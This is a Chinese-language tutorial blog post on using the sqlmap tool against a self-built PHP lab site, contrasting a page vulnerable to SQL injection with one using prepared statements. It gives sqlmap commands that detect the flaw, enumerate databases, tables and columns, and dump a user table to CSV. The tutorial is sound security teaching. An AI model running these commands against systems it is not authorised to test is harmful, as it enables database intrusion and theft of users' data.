sqlmap 自动SQL注入工具

手动SQL注入攻击需要我们对SQL语言有着透彻的理解,而且手动也是比较麻烦和反直觉的。sqlmap是一个自动化的SQL注入工具,我们可以直接使用该工具快速检测和进行SQL注入攻击。

靶机准备

这里我们使用PHP搭建了一个网站,其中user_list.php页面的表单存在SQL注入漏洞,而user_list_safe.php页面的表单不存在SQL注入漏洞。简单来说,不安全的页面中使用了字符串拼接的方式进行SQL语句查询,而安全的页面采用预编译SQL语句的方式执行SQL查询。

sqlmap安装和使用

Kali Linux自带了sqlmap工具,我们直接使用即可。首先我们可以使用--help查看工具支持哪些参数:

sqlmap --help

SQL注入攻击实战

user_list.php页面包含一个使用POST请求的表单,我们直接使用sqlmap对其进行检测:

sqlmap --url 'http://192.168.1.131/user_list.php' --forms

其中--forms参数表示sqlmap工具会自动根据页面上的HTML识别表单POST应该提交的字段信息,如果我们需要手动指定请求参数,可以通过--data参数指定,例如:sqlmap --url 'http://192.168.1.131/user_list.php' --data="username=hr"

经过一阵自动化的注入测试,很快sqlmap就返回了识别到的完整信息,从图中可以看到该服务端使用的是PHP8.1,MySQL版本高于5.6,且测试的接口存在SQL注入漏洞。

而我们测试另一个安全的页面user_list_safe.php则会返回以下信息,所有针对username字段的SQL注入攻击均失败。

自动化漏洞利用

sqlmap可以自动构造SQL注入payload,如果被攻击的系统存在SQL注入漏洞,我们就可以尝试获取数据库元信息,甚至直接下载整个数据库。

获取所有数据库

sqlmap --url 'http://192.168.1.131/user_list.php' --forms --dbs

获取数据库中的所有表

sqlmap --url 'http://192.168.1.131/user_list.php' --data="username=hr" -D netstore --tables

获取表结构

sqlmap --url 'http://192.168.1.131/user_list.php' --data="username=hr" -D netstore -T t_user --columns

导出表数据

sqlmap --url 'http://192.168.1.131/user_list.php' --data="username=hr" -D netstore -T t_user --dump

此外我们也可以将数据导出到文件中,下面例子我们将数据以CSV格式保存在了/home/kali文件夹下。

sqlmap --url 'http://192.168.1.131/user_list.php' --data="username=hr" -D netstore -T t_user --dump --dump-format=CSV --output-dir=/home/kali

执行命令后sqlmap会在对应路径下创建一个域名同名的文件夹,里面包含日志、dump数据等信息。

作者:Gacfox
版权声明:本网站为非盈利性质,文章如非特殊说明均为原创,版权遵循知识共享协议CC BY-NC-ND 4.0进行授权,转载必须署名,禁止用于商业目的或演绎修改后转载。
Copyright © 2017-2024 Gacfox All Rights Reserved.
Build with NextJS | Sitemap